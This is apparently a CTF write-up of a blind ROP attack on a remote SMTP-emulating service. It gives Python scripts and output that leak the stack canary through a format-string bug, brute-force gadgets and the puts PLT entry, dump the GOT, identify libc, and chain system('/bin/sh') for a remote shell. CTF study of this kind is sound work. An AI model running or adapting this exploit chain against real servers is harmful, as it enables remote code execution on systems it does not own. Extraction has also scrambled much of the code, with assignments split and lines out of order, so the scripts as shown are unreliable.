ECW 2020 - Zatoishi (pwn)
ECW 2020 - Zatoishi (pwn)
The ECW 2020 challenge took place the two middle weeks of October. Most of the challenge didn’t catch my attention but the only pwn challenge which weight 400 points was pretty cool. No binary was given, only a TCP port to connect to. In the end we were less than 15 having solved it.
TLDR; It was a service which emulated the behavior of a SMTP server and was vulnerable to a format string vulnerability and few buffer overflow. I brop’ed this chall using both vulnerabilities to have my leak and rop. As stated before we didn’t have any binary so I started by interact with it through SMTP commands.
vulnerabilities
string format
I quickly find out the program was vulnerable to a string format in the HELO or EHLO SMTP command.
220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:29:05 +0000
EHLO %0$x %1$x %2$x
250 mail1.zatoichi.com Hello %0$x 37d2cdf5 20782431
buffer overflow
All the fields were vulnerable to buffer overflow however the one containing the body message (DATA) accepts null byte. The buffer is 1512
bytes long before overwriting the canary.
λ ackira ~ » python2 -c 'print "DATA\n" + "A" * 1512 + "\n.\n"' | nc challenge-ecw.fr 2020
220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:33:13 +0000
354 Start mail input; end with <CRLF>.<CRLF>
250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery
λ 130 ackira ~ » python2 -c 'print "DATA\n" + "A" * 1513 + "\n.\n"' | nc challenge-ecw.fr 2020
220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:33:07 +0000
354 Start mail input; end with <CRLF>.<CRLF>
250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery
*** stack smashing detected ***: /home/ctf/pwn terminated
exploitation
leaking the canary
The first step is to leak the canary thanks to the format string. As it’s x64 don’t forget to add the %l
not only %x
.
def leak_stack():
= remote("challenge-ecw.fr", 2020)
p if p.readline(timeout=0.1) == b"": exit(0)
for i in range(0, 2500):
= f"EHLO ABCDEFGH%{i}$016lx"
payload
p.sendline(payload)
if (response := p.readline(timeout=1)) == b"":
continue
= response[-17:-1].decode("utf-8")
value print(i, value)
p.close()
...]
[67 0000000000000000
68 0000000000000000
69 00007f3dee7253f5
70 00007f3deea718e0
71 b57da2327bf2c100
72 00007ffe5006da60
73 0000000000400dec
74 0a00000000000000
...] [
The offset 71
seems promising it looks like the canary with saved EBP right after followed by saved rip.
This cookie always contains a null byte this why we can’t use the others commands than DATA to exploit the buffer overflow as they stop reading the payload after the first null byte.
Moreover, the server isn’t forked, it means that we will need to link the canary to each connexion to the server.
finding the stop gadget
Now we are going to test the canary we previously found and also try to locate a stop gadget.
A stop gadget is a gadget which create a signal that allow us to verify that the payload has been successfully executed. For example this gadget could print a string or make the server hang for X seconds. If the string or the server hangs we are all good.
def bf_stop_gadget():
for i in range(0, 25560):
= False
over
while not over:
print(hex(i))
= remote(*co_infos)
p if p.readline(timeout=0.2) == b"":
continue
"EHLO %71$016lx") # as 71 is the canary offset
p.sendline(bif (response := p.readline(timeout=0.2)) == b"": continue
= bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
canary_b = unpack(">Q", canary_b)[0]
canary
= b"A" * 1512
payload += canary_b[::-1] + p64(0) + p64(0x000000000400600 + i)
payload
"DATA")
p.sendline(
p.sendline(payload)"\n.")
p.sendline(
"\nQUIT")
p.sendline(
print(p.recvall())
print()
= True over
0x391
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x392
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x393
0x393
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x394
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x395
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x396
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 17:04:14 +0000\n221 2.0.0 Service closing transmission channel\n'
0x397
0x397
0x397
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 17:04:15 +0000\n221 2.0.0 Service closing transmission channel\n'
At offset 0x396
we see that the server answered differently by sending the banner a second time. We gonna use 0x400996
as a stop gadget. If after sending a payload the server answer a second time the banner it means the gadget was successfully executed !
findings the others gadgets to prepare the ROP
Our ROP will be very simple, it will only make a call : system("/bin/sh")
so we only need to control RDI. Also we need something too have a leak so we are also going to do puts(puts_got)
too.
We only have to have this gadget pop rdi; ret;
. However as we don’t have the binary we can’t easily spot this gadget. Lucky us, there is a very special gadgets that almost all binary have in common, the one in __libc_csu_init
:
[...]
40126a: 5b pop rbx
40126b: 5d pop rbp
40126c: 41 5c pop r12
40126e: 41 5d pop r13
401270: 41 5e pop r14
401272: 41 5f pop r15
401274: c3 ret
This one is easy to spot as it pop 6 values on the stack. In addition to this it contains the wanted gadget as pop rdi; ret;
instruction is \x5f\xc3
. A gadget contained in another gadget the magic of intel ISA.
def find_gadgets():
= p64(0x000000000400600 + 0x396)
safe_gadget = 0x400000
base_addr
for i in range(0x0, 20000):
= False
over
while not over:
print(hex(i))
= remote(*co_infos)
p if p.readline(timeout=0.2) == b"": continue
"EHLO %71$016lx") # as 71 is the canary offset
p.sendline(bif (response := p.readline(timeout=0.2)) == b"": continue
= bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
canary_b = unpack(">Q", canary_b)[0]
canary
= b"A" * 1512
payload += canary_b[::-1] + p64(0)
payload += p64(base_addr + i) # potential gadget
payload += p64(0) * 6
payload += safe_gadget
payload
"DATA")
p.sendline(
p.sendline(payload)"\n.")
p.sendline(
"\nQUIT")
p.sendline(
if b"zatoichi a Random SMTP MAIL Service ready" in (response := p.readall(timeout=0.2)):
print("found gadget", hex(base_addr + i))
input()
print(response)
= True over
0x0
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x1
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x2
found gadget 0x400f5a
Our 6 zero placed on the stack have been popped and the safe gadget called, this is a success. We found the gadget at 0x400f5a
. It’s mean the pop_rdi
gadget is at 0x0400f63
(9 bytes later).
finding puts
The next step is to locate puts in the PLT. The principle is quite the same, we brute force all address hoping to fall on puts
and we use an known pointer as argument to inspect the answer of the server.
Our argument to puts call will be pop_rdi
address : potential_puts(pop_rdi)
, if the server response contains \x5f
(the first byte of pop_rdi
instruction) it means that the puts function has been called.
def find_puts():
= 0x400996
safe_gadget = 0x000000000400f63
pop_rdi = 0x400980
base_addr
for i in range(0, 20000):
= False
over
while not over:
print(hex(i))
= remote(*co_infos)
p if p.readline(timeout=0.2) == b"": continue
"EHLO %71$016lx") # as 71 is the canary offset
p.sendline(bif (response := p.readline(timeout=0.2)) == b"": continue
= bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
canary_b = unpack(">Q", canary_b)[0]
canary
= b"A" * 1512
payload += canary_b[::-1] + p64(0)
payload += p64(pop_rdi)
payload += p64(pop_rdi) # puts argument, points on "\x5f\xc3"
payload += p64(base_addr + i)
payload += p64(safe_gadget)
payload
"DATA")
p.sendline(
p.sendline(payload)"\n.")
p.sendline(
"\nQUIT")
p.sendline(# p.readuntil("delivery\n")
if b"\x5f" in (response := p.readall(timeout=0.2)):
print("found gadget", hex(base_addr + i))
print([response])
input()
= True over
0x0
0x1
0x2
found gadget 0x400b35
[b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n_\xc3\x90f.\x0f\x1f\x84\n']
Yeah we got our leak, the puts function is at 0x400b35
.
leaking GOT
This step made me crazy. We need to find the resolved address of some functions in the libc to get the offset and finally find the libc base address as usual.
I know that the GOT is often near 0x0602000
in x86_64 so I brute forced until I found something. I didn’t automatized it I was looking to the terminal for familiar addresses .. Quite a shame I know.
def leak_got():
= 0x400996
safe_gadget = 0x000000000400f63
pop_rdi = 0x602000 - 32
base_addr = 0x400b35
puts
= open("binary_got_2", "wb")
fd
= 0
i
while True:
if (base_addr + i) & 0xff == 0xa:
"\x00")
fd.write(b+= 1
i = True
over
= False
over
while not over:
try:
= remote(*co_infos)
p except:
continue
if p.readline(timeout=0.2) == b"": continue
"EHLO %71$016lx") # as 71 is the canary offset
p.sendline(bif (response := p.readline(timeout=0.2)) == b"": continue
= bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
canary_b = unpack(">Q", canary_b)[0]
canary
= b"A" * 1512
payload += canary_b[::-1] + p64(sebp)
payload += p64(pop_rdi)
payload += p64(base_addr + i)
payload += p64(puts)
payload += p64(safe_gadget)
payload
"DATA")
p.sendline(
p.sendline(payload)"\n.")
p.sendline(
"\nQUIT")
p.sendline(
if (response := p.readuntil("delivery\n", timeout=0.2)) == b"": continue
if (response := p.recvall(timeout=0.2)) == b"": continue
if b"stack smashing detected" in response: continue
= len(response)
data_len print(hex(base_addr + i), data_len, [response])
-1] + b"\x00")
fd.write(response[:
= True
over
+= data_len i
And after few minutes / hours I got (GOT lol aha, fuck me) this :
It looks like some GOT entries doesn’t it ? Here the fucking fuck which made me lose so much time.
Thanks to the different leak primitive I got I could leak the binary .dynstr
sections which hold the name of all the imported function.
[...]
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
fflush
strncmp
__isoc99_scanf
sttncpy
putss__stack_chk_fail
putchar
stdin
strftime
printf
strlen
memset
getchar
stdout
strcat
localtime
strcmp
__libc_start_main
__gmon_start__
[...]
But I didn’t know which one had which leaked GOT address. I did some test to see if it was ordered by import order, alphabetical order or other order but I finally reached no pattern and was not far to have a dis-order.
So I decided to dev a libc database script to find if some of these function were find in libc database with the associated offset. Then I could merge the results to find if a libc had all the matches.
func="getchar"
for i in $(cat addr) ; do
~/tools/pwn/libc-database/find $func $i
done
Then I executed it for few functions I was sure they had been resolved.
sh libc.sh | tee libc_puts
sh libc.sh | tee libc_memset
sh libc.sh | tee libc_strlen
sh libc.sh | tee libc_printf
$ grep -Fxf libc_puts libc_strlen libc_memset libc_printf
libc_strlen:ubuntu-xenial-amd64-libc6 (libc6_2.23-0ubuntu11.2_amd64)
libc_memset:ubuntu-bionic-amd64-libc6 (libc6_2.27-3ubuntu1.2_amd64)
libc_printf:ubuntu-xenial-amd64-libc6 (libc6_2.23-0ubuntu11.2_amd64)
libc_printf:ubuntu-eglibc (libc6-i386_2.15-0ubuntu10_amd64)
libc_printf:ubuntu-glibc (libc6_2.32-0ubuntu3_amd64)
I did a lot of test and tested few libc as never all function matched a single and same libc. I even started to get the libc used in major docker version of ubuntu like xenial and bionic
Even if all tested functions doesn’t match I decided to give a chance to ubuntu-xenial-amd64-libc6
it was a very recent libc and it was the one from ubuntu xenial if you did from ubuntu:xenial
in a docker.
For this one I got
~/tools/pwn/libc-database/dump libc6_2.23-0ubuntu11.2_amd64
$
offset___libc_start_main_ret = 0x20840
offset_system = 0x00000000000453a0
offset_dup2 = 0x00000000000f7a30
offset_read = 0x00000000000f7310
offset_write = 0x00000000000f7370
offset_str_bin_sh = 0x18ce17
chaining everything together
to resume
We first leak the canary to make the buffer overflow exploitable. Then we send the address of put_char
in GOT to have its resolved address in the libc, we then subtract the known offset from the libc database to have the base of the libc.
In order to have the system
address in the libc we just add the offset. We can now prepare system("/bin/sh")
with the pop_rdi
gadget.
= 0x400996
safe_gadget = 0x000000000400f63
pop_rdi
= 0x602000
got_base = got_base + (8 * 3) # it was the 3rd entry
got_putchar
= 0x00000000000712a0
putchar_offset = 0x00000000000453a0
system_offset = 0x18ce17
sh_offset
= remote(*co_infos)
p if p.readline(timeout=0.2) == b"": exit(-1)
"EHLO %71$016lx") # as 71 is the canary offset
p.sendline(bif (response := p.readline(timeout=0.2)) == b"": exit(-1)
= bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
canary_b = unpack(">Q", canary_b)[0]
canary
print(f"[CANARY] {hex(canary)}")
# leak got addr
"EHLO AAAAAAAA %11$s " + p64(got_putchar))
p.sendline(b
= p.readline(timeout=0.5)
response = response[38:].replace(b" ", b"").replace(p64(got_putchar).rstrip(b"\x00"), b"")
data = unpack("<Q", data[:-1] + b"\x00\x00")[0]
got_putchar_data
= got_putchar_data - putchar_offset
libc_base_addr print(f"[LIBC] {hex(canary)}")
= libc_base_addr + system_offset
system_addr = libc_base_addr + sh_offset
sh_addr print(f"[SYSTEM] {hex(system_addr)}")
= b"A" * 1512
payload += canary_b[::-1] + p64(0)
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr)
payload += p64(safe_gadget)
payload
"DATA")
p.sendline(
p.sendline(payload)"\n.")
p.sendline("\nQUIT")
p.sendline(
p.interactive()
flag :ECW{a6ec2293e18b75bd868919c699b8846a6819f811}
final word
I spent a lot of time for this challenge as my first idea was to place a shellcode in the buffer holding the format string, method I already used in another chall but I did not know about mitigations and NX have a lot of chance to be enabled.
I also tried to dump the binary thanks to the format string and later with the puts leak. The first attempts was total mess up as 75% of the binary was missing lol. The second was far better but didn’t really help me to solve it.
A team mate used the format string to leak the whole libc and then retrieve the system function inside. Then he could rewrite a GOT address with the system address. I assumed that GOT had a lot of chance to be read only so I didn’t wanted to overwrite it.
resources
- https://www.dailysecurity.fr/blind-rop-arm-securevault-writeup/
- http://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20Hacking%20Blind%20-%20Slides%20-%20Bittau.pdf
- https://oddcoder.com/BROP-102/
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/#brop
- https://soolidsnake.github.io/2018/07/15/blindx86_64_rop.html